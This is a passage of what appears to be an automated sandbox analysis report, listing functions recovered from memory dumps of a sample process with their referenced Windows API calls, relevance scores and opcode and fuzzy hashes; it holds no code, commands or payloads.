Instruction Fuzzy Hash: AA1228B4A002288FCB64EF74D85879DBBB6BF48205F5085EAD509A3344DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 014211FD, Relevance: 13.9, APIs: 9, Instructions: 437librarywindowCOMMON

Download Yara Rule

APIs

UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDisplayUnregister$ColorConfigConsoleControlDestroyEnumInitializeLoadMenuQueryReasonsSettingsThunk
String ID:
API String ID: 2766318346-0
Opcode ID: 8c75680fbad114dca865d1e317ae6549f5406a773e45c8f0edee3f5e08f891c3
Instruction ID: 4ea2f8e54777e26fab3b3c824c187ea764399c6ba8b03bb7f992b9e5ed131168
Opcode Fuzzy Hash: 8c75680fbad114dca865d1e317ae6549f5406a773e45c8f0edee3f5e08f891c3
Instruction Fuzzy Hash: D61228B4A002298FCB64EF34D85879DBBB6BF88205F5085EAD509A3344DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01421245, Relevance: 12.4, APIs: 8, Instructions: 430librarywindowCOMMON

Download Yara Rule

APIs

UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: Display$ClassColorConfigConsoleControlDestroyEnumInitializeLoadMenuQueryReasonsSettingsThunkUnregister
String ID:
API String ID: 1663933627-0
Opcode ID: fdc84c0a873783b199f6ab0ed1d5290f8bbefa6ae4435ce4d365a0814807f7ef
Instruction ID: 9617424d6acc01caf053cc926a2dab312bbce5e484032df6d65a5cf2e4636bfd
Opcode Fuzzy Hash: fdc84c0a873783b199f6ab0ed1d5290f8bbefa6ae4435ce4d365a0814807f7ef
Instruction Fuzzy Hash: FB1228B4A002288FCB64EF74D85879DBBB6BF88205F5085EAD509A3344DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0142128D, Relevance: 10.9, APIs: 7, Instructions: 423librarywindowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: Display$ColorConfigConsoleControlDestroyEnumInitializeLoadMenuQueryReasonsSettingsThunk
String ID:
API String ID: 313682995-0
Opcode ID: c663aa326596577ea16911f11445e2d7eee84ea74bf462493c680c2ce50d1591
Instruction ID: ac93ca86e51cceb7e63062ff727c0276ef058da52e81f8f21fe0c9af9e75b11b
Opcode Fuzzy Hash: c663aa326596577ea16911f11445e2d7eee84ea74bf462493c680c2ce50d1591
Instruction Fuzzy Hash: 4C1229B4A002288FCB64EF74D85879DBBB6BF88205F5084EAD509A3345DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 014212D5, Relevance: 9.4, APIs: 6, Instructions: 416libraryCOMMON

Download Yara Rule

APIs

QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: Display$ColorConfigConsoleControlDestroyEnumInitializeQueryReasonsSettingsThunk
String ID:
API String ID: 3439689729-0
Opcode ID: 72d2ff32b1d9d584e21e79b798b550e90101ce8f1586118a8071ad0b346c3874
Instruction ID: 264ee42c272924d8d4bdcf358ea48c57eef1685dff2ffdbaf8ab4a3a56c01a33
Opcode Fuzzy Hash: 72d2ff32b1d9d584e21e79b798b550e90101ce8f1586118a8071ad0b346c3874
Instruction Fuzzy Hash: B6024AB4A002288FCB64EF74D85879DBBB6BF88205F5084EAD509A3345DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0142131D, Relevance: 9.4, APIs: 6, Instructions: 409libraryCOMMON

Download Yara Rule

APIs

QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: Display$ColorConfigConsoleControlDestroyEnumInitializeQueryReasonsSettingsThunk
String ID:
API String ID: 3439689729-0
Opcode ID: 5c18fb1b0af29f01997e218f78d44d8789fba3d99a2df82155914aaafedcc25c
Instruction ID: 64a2dd2c4d935f3e5c6c45f8cf6ba3b2ef0308c807d2b80a2624733c3ef38e9a
Opcode Fuzzy Hash: 5c18fb1b0af29f01997e218f78d44d8789fba3d99a2df82155914aaafedcc25c
Instruction Fuzzy Hash: 19023B74A002288FCB64EF74D85879DBBB6BF88205F5084EAD509A3345DF359E85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 014217C8, Relevance: 6.2, APIs: 4, Instructions: 237COMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ColorConsoleControlDestroyDisplayEnumReasonReasonsRecordSettingsShutdown
String ID:
API String ID: 3864534654-0
Opcode ID: 6b9f34830a24a63dd55904093c65bab08f69cde1082a7e0c8e2b3b19ce47b23d
Instruction ID: fe5dc5ab71bfeb93e4fbbae2d1b7629bbfc18dda0ed8db1fa3c5df9798644460
Opcode Fuzzy Hash: 6b9f34830a24a63dd55904093c65bab08f69cde1082a7e0c8e2b3b19ce47b23d
Instruction Fuzzy Hash: A9A12D74A00228CBCB64AF24D85879DBBB6BF48205F5085EED60993750DF349EC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01421826, Relevance: 6.2, APIs: 4, Instructions: 226COMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ColorConsoleControlDestroyDisplayEnumReasonReasonsRecordSettingsShutdown
String ID:
API String ID: 3864534654-0
Opcode ID: 2f0b5cf5e210fb432cf9d9c28a0d62b3ecf427df5f2131a5e39e9609a155fa1f
Instruction ID: ee873c8759b7d71f671ce1ce2d666745c24818845e079252deb30ba3f07c6234
Opcode Fuzzy Hash: 2f0b5cf5e210fb432cf9d9c28a0d62b3ecf427df5f2131a5e39e9609a155fa1f
Instruction Fuzzy Hash: F4A12C74A002288BCB64AF34D85879DBBB6BF48205F5084EED60993751DF34AEC5CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01696B7F, Relevance: 6.1, APIs: 4, Instructions: 147threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 01696C10
GetCurrentThread.KERNEL32 ref: 01696C4D
GetCurrentProcess.KERNEL32 ref: 01696C8A
GetCurrentThreadId.KERNEL32 ref: 01696CE3

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 908f4906d1567a7839c9a4b45e8668ec020a9f255b628d2ebdc707a468983eb5
Instruction ID: 6cd910e420739ff3c809b969a5b0a7c0fbb5cddc20dc44eb3c16b3589a85497b
Opcode Fuzzy Hash: 908f4906d1567a7839c9a4b45e8668ec020a9f255b628d2ebdc707a468983eb5
Instruction Fuzzy Hash: 7C5177B09047888FDB14CFA9CA48B9EBFF4EF49314F15859AE049A7391DB349845CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01696BB0, Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 01696C10
GetCurrentThread.KERNEL32 ref: 01696C4D
GetCurrentProcess.KERNEL32 ref: 01696C8A
GetCurrentThreadId.KERNEL32 ref: 01696CE3

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 730424b30c31039311107aa4b3c17096ffba63989f8e38fbba8fe70639a27ddc
Instruction ID: eb27b20211a284ea163f55d58c4a44cfe6951972b13cd644528a222a26d538b7
Opcode Fuzzy Hash: 730424b30c31039311107aa4b3c17096ffba63989f8e38fbba8fe70639a27ddc
Instruction Fuzzy Hash: 7F5133B0E00789CFDB54CFA9CA48B9EBBF4EF88314F248459E519A7390DB746844CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0142186E, Relevance: 4.7, APIs: 3, Instructions: 219COMMON

Download Yara Rule

APIs

ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ConsoleControlDestroyDisplayEnumReasonReasonsRecordSettingsShutdown
String ID:
API String ID: 579245730-0
Opcode ID: 8a17ee8dd8720b1628cf074a92dfc5a0d9bb9d563f02cdbd7d1b5a718a61ca63
Instruction ID: 576f18f3dae8d7ad5ada054666952c5e6748e821a9c9ed4642f58960e9b7ef43
Opcode Fuzzy Hash: 8a17ee8dd8720b1628cf074a92dfc5a0d9bb9d563f02cdbd7d1b5a718a61ca63
Instruction Fuzzy Hash: EE912D74A002288BCB64AF34D85879DBBB6BF48205F5085EED609A3750DF34AEC5CF65

Uniqueness

Uniqueness Score: -1.00%

Function 014218B6, Relevance: 4.7, APIs: 3, Instructions: 212COMMON

Download Yara Rule

APIs

ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ConsoleControlDestroyDisplayEnumReasonReasonsRecordSettingsShutdown
String ID:
API String ID: 579245730-0
Opcode ID: 67c2befadedfedd943ef025e63e56f0efe395262a334a6c52cc7777efd2eff07
Instruction ID: e97c61e0cb42ab5372da2ef9473410eaebc3be09797d03f2dfb05e1b3b5847be
Opcode Fuzzy Hash: 67c2befadedfedd943ef025e63e56f0efe395262a334a6c52cc7777efd2eff07
Instruction Fuzzy Hash: 81912C74A002288BCB64AF34D85879DBBB6BF48205F5084EED609A3751DF34AEC5CF65

Uniqueness

Uniqueness Score: -1.00%

Function 014218FE, Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ConsoleControlDestroyDisplayEnumReasonReasonsRecordSettingsShutdown
String ID:
API String ID: 579245730-0
Opcode ID: 36972462074319543e0675a856d50da1eb6ece4f0765b19cf06191aede253fa1
Instruction ID: b503928f5f2cff0b5c3f75091f52b364db0fb18ae06ef04963bfe02141713c66
Opcode Fuzzy Hash: 36972462074319543e0675a856d50da1eb6ece4f0765b19cf06191aede253fa1
Instruction Fuzzy Hash: 82915C74A002288BCB64AF34D85879DBBB6BF48205F5084EED609A3750DF34AEC5CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01421946, Relevance: 4.7, APIs: 3, Instructions: 198COMMON

Download Yara Rule

APIs

ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ConsoleControlDestroyDisplayEnumReasonReasonsRecordSettingsShutdown
String ID:
API String ID: 579245730-0
Opcode ID: f9df20e12c19c9fc91d6c727e95bc72da733b298452b35e0a7e0d4a0eb5d008d
Instruction ID: 29708c537ee53ef6fd909140abc1827e474c77f2d6c4368d665bd29c353bfa25
Opcode Fuzzy Hash: f9df20e12c19c9fc91d6c727e95bc72da733b298452b35e0a7e0d4a0eb5d008d
Instruction Fuzzy Hash: 49813D74A002288BCB64AF74D85879DBBB6BF88205F5084EED60993741DF34AE85CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0142198E, Relevance: 4.7, APIs: 3, Instructions: 191COMMON

Download Yara Rule

APIs

ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ConsoleControlDestroyDisplayEnumReasonReasonsRecordSettingsShutdown
String ID:
API String ID: 579245730-0
Opcode ID: c0c6af78aae84d775e1e6ba6cdd9aa15f4b04e87bdcbf1f9d2225b5c65e5a42f
Instruction ID: c5715b5a46540f0e34ad6c0112d42c6fd376c94d30c11db1d33e29cdeeefb7ce
Opcode Fuzzy Hash: c0c6af78aae84d775e1e6ba6cdd9aa15f4b04e87bdcbf1f9d2225b5c65e5a42f
Instruction Fuzzy Hash: EF815D74A002288BCB64AF74D85879DBBB6BF88205F5084EED509A3741DF34AEC5CF65

Uniqueness

Uniqueness Score: -1.00%

Function 014219D6, Relevance: 3.2, APIs: 2, Instructions: 184COMMON

Download Yara Rule

APIs

EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DestroyDisplayEnumReasonReasonsRecordSettingsShutdown
String ID:
API String ID: 556536738-0
Opcode ID: 6e4fd2db71802db7c776c499c1f6ebea425c064dd73e456ad8420cf281ded54d
Instruction ID: 5ae269d67fae9168fa1aaf50285e89b371eb6003f48ec8b954fd65b6c6da2478
Opcode Fuzzy Hash: 6e4fd2db71802db7c776c499c1f6ebea425c064dd73e456ad8420cf281ded54d
Instruction Fuzzy Hash: A9715E74A002288BCB64EF34D85879DB7B6BF88205F5084EED509A3741DF34AE85CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01693EB8, Relevance: 1.8, APIs: 1, Instructions: 280COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 01694276

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 1799839cd5bc14f2a739daf975dd92ba56952c8c636d1996869aa57c0ee03afa
Instruction ID: b89f61da0cadc96515c78bb54015a66b8cd3e76bd106f59e00d11972370ffd5a
Opcode Fuzzy Hash: 1799839cd5bc14f2a739daf975dd92ba56952c8c636d1996869aa57c0ee03afa
Instruction Fuzzy Hash: 49B14A70B006058FCB18EF79C89466ABBF6FF88214B11892ED51ADB751DB34EC06CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01421A1E, Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DestroyReasonReasonsRecordShutdown
String ID:
API String ID: 3492525353-0
Opcode ID: 6c16bb729f4552342c791d5e68046f812dff47ba8aca070691c2e4a069ccaa28
Instruction ID: e09cbd7d6ecf14e82b064310bcebeadd9ad644b324954e562378cd0d38eef25a
Opcode Fuzzy Hash: 6c16bb729f4552342c791d5e68046f812dff47ba8aca070691c2e4a069ccaa28
Instruction Fuzzy Hash: 89715D74A002288BCB64AF34C8587ADB7B6BF88205F5084EED50993751DF34AEC5CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01421A66, Relevance: 1.7, APIs: 1, Instructions: 170COMMON

Download Yara Rule

APIs

DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DestroyReasonReasonsRecordShutdown
String ID:
API String ID: 3492525353-0
Opcode ID: 545afe458c695a9bcd583e5980c04730314e389663664410d9090b295eb08687
Instruction ID: f6b7ee4bc9ec0f6ce1ef293330807ff36cdafc39074b037704bb9c99d673df2e
Opcode Fuzzy Hash: 545afe458c695a9bcd583e5980c04730314e389663664410d9090b295eb08687
Instruction Fuzzy Hash: A5617E70A002298BCB68EF34C8587ADB7B6BF88205F5084EED50993741DF34AE85CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01421AAE, Relevance: 1.7, APIs: 1, Instructions: 161COMMON

Download Yara Rule

APIs

DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DestroyReasonReasonsRecordShutdown
String ID:
API String ID: 3492525353-0
Opcode ID: 3afb1b63f756f057f12384c43a785818f26425564aed9b0906becc4703a0194c
Instruction ID: 328d0c2cf6570eb365637be54c3aac95c96d595a3caf9e275298765596faa81f
Opcode Fuzzy Hash: 3afb1b63f756f057f12384c43a785818f26425564aed9b0906becc4703a0194c
Instruction Fuzzy Hash: 9F518F70A002298BCB68AB34C8587ADB7B6BF88205F5084EDD50993741DF34ADC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0169516F, Relevance: 1.7, APIs: 1, Instructions: 161COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 01695302

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 67daa12b0b32a5df7577e2186314c196a986768f2ac6b07e471aea53f1f00913
Instruction ID: 397742982878fab657d2407b35fe2928fd0082c1bdc08d75367a0a8d7bb36100
Opcode Fuzzy Hash: 67daa12b0b32a5df7577e2186314c196a986768f2ac6b07e471aea53f1f00913
Instruction Fuzzy Hash: 176123B1D04349AFCF02CFA9C980ACDBFB5BF49314F19816AE909AB221D7719845CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01421AEA, Relevance: 1.7, APIs: 1, Instructions: 156COMMON

Download Yara Rule

APIs

DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DestroyReasonReasonsRecordShutdown
String ID:
API String ID: 3492525353-0
Opcode ID: 2c1ff17600bac66a9f07becbf3667938113c18770c6ba22c876cc2b9d83b1fce
Instruction ID: c2525d1d7ae5170f1ed510c5de94b4df8acf3901e41827aeda8c83962636f7ff
Opcode Fuzzy Hash: 2c1ff17600bac66a9f07becbf3667938113c18770c6ba22c876cc2b9d83b1fce
Instruction Fuzzy Hash: 75518170A002298BCB68EB34C8587ADB7B6BF88205F5484E9D509D7741DF34AD85CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 01421B32, Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

APIs

DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DestroyReasonReasonsRecordShutdown
String ID:
API String ID: 3492525353-0
Opcode ID: 7ce9af11cad7b773e292624c446ef7e95f7fd8b41f11ea3d4731fa3546927337
Instruction ID: f33e0587747d013503f566fb675974726677845a5060c4a62d1d59f1ae5b1cb7
Opcode Fuzzy Hash: 7ce9af11cad7b773e292624c446ef7e95f7fd8b41f11ea3d4731fa3546927337
Instruction Fuzzy Hash: AE519170B002298BCB68EB34C8587ADB7B6BF88205F5084E9D509D7741DF34AE85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01421B7A, Relevance: 1.6, APIs: 1, Instructions: 142COMMON

Download Yara Rule

APIs

DestroyReasons.USER32 ref: 01421BA1
RecordShutdownReason.USER32 ref: 01421F17

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DestroyReasonReasonsRecordShutdown
String ID:
API String ID: 3492525353-0
Opcode ID: c1734a1565ff90a9c27e76258f66990ab0b355d37cac6275bc7f7f16236d250b
Instruction ID: af4d3afdf73e36ccad8358583f1d5670723f538a66fbd153c85711dcbeaea070
Opcode Fuzzy Hash: c1734a1565ff90a9c27e76258f66990ab0b355d37cac6275bc7f7f16236d250b
Instruction Fuzzy Hash: CF51A270B042298BCB28EB74C8587AD76B6BF88205F5484EDD50AD7745DF34AE85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 016951F0, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 01695302

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 3c2aaec174dbc6ea09b01cd94275f500573795cccff4255cea225a9c1f116a6d
Instruction ID: 06b07901ea1f9fd8e4d3265a182463b47c0ae6f56c5f704570aae8cd57ab59ea
Opcode Fuzzy Hash: 3c2aaec174dbc6ea09b01cd94275f500573795cccff4255cea225a9c1f116a6d
Instruction Fuzzy Hash: FF41BEB1D003499FDF15CFA9C984ADEBFB5BF48314F24812AE819AB210D775A985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 016969C4, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 01697D59

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: c98e8079b4410ab32c02613b5186d49a5d09b84de3587d07641dd1b244f3b42f
Instruction ID: 5a868d60ab3047e9ad5a9ab04219967196ec6ec40aadb142c16e3625583b50e0
Opcode Fuzzy Hash: c98e8079b4410ab32c02613b5186d49a5d09b84de3587d07641dd1b244f3b42f
Instruction Fuzzy Hash: 55414EB6910345CFDB14CF59C848AAABBF9FF88314F158459E519AB321D734A845CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01696DD2, Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01696E5F

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d3980702fb23677e2cac1456c82279f66780ab8ea6ec4d167799b0a022c4e90c
Instruction ID: 416902a9979ab595354492ecfa013d85fccb5b956f1d5391583dcff929b8abc1
Opcode Fuzzy Hash: d3980702fb23677e2cac1456c82279f66780ab8ea6ec4d167799b0a022c4e90c
Instruction Fuzzy Hash: 0721E2B5900248AFDF10CFA9D984ADEBFF8EF48324F15801AE914A7310D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01696DD8, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01696E5F

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1409bdb2efc01e6e918a2124d275f612dff70fbb8f03d9d3cd1b1512b9621b1e
Instruction ID: 5176b4392f887e1baddee5442d947747fdfea992261cad53e0c829d5ecc64044
Opcode Fuzzy Hash: 1409bdb2efc01e6e918a2124d275f612dff70fbb8f03d9d3cd1b1512b9621b1e
Instruction Fuzzy Hash: 9221C2B5900248AFDB10CFA9D984ADEBBF8EB48324F15841AE914A7310D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05B7E429, Relevance: 1.6, APIs: 1, Instructions: 58libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,?,00000000,?,05B7E409,00000800), ref: 05B7E49A

Memory Dump Source

Source File: 00000003.00000002.612892389.0000000005B70000.00000040.00000001.sdmp, Offset: 05B70000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 83db2eb02e798a7c2998bc152d3770584e0cbf202c1043595574d18156be1e2f
Instruction ID: 14e2840eff1c7c93fe0f4563eb419ff281d5d746dcbea0fa12e40124246cba51
Opcode Fuzzy Hash: 83db2eb02e798a7c2998bc152d3770584e0cbf202c1043595574d18156be1e2f
Instruction Fuzzy Hash: 661147B2D002088FCB10CFAAC844ADEFBF8EF48324F04846AE425B7200C774A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05B7C814, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,?,00000000,?,05B7E409,00000800), ref: 05B7E49A

Memory Dump Source

Source File: 00000003.00000002.612892389.0000000005B70000.00000040.00000001.sdmp, Offset: 05B70000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 53c43a4e027d3bdfe0653ebad3b3b477162c3fc15b2861c91ea0c17bbfa55f9b
Instruction ID: fd01b833d69a03f600cd7e846ee1f8afc84080534d5c4daaf2ca8f6030d3ded0
Opcode Fuzzy Hash: 53c43a4e027d3bdfe0653ebad3b3b477162c3fc15b2861c91ea0c17bbfa55f9b
Instruction Fuzzy Hash: A61114B29042088FCB10CFAAC444BDEFBF8EF88314F05846AE825B7610C774A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0169BE59, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0169BEE2

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 5fd174a92df13dffcc94ec10d42933238c3d3dd684f985c9d03cdb8abacbee12
Instruction ID: 255249a450598c4bf0dab7a3a8aebaecbe27991934ddff4deff66affc0a9fe69
Opcode Fuzzy Hash: 5fd174a92df13dffcc94ec10d42933238c3d3dd684f985c9d03cdb8abacbee12
Instruction Fuzzy Hash: 8D218CB29013498FEB50DFA9E94979EBBF8FB04314F24852AD409A3741DB395904CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0169BE68, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0169BEE2

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: eb19cc35f73848b253e11584e1da846dc47ea92393ececae209263937db6596f
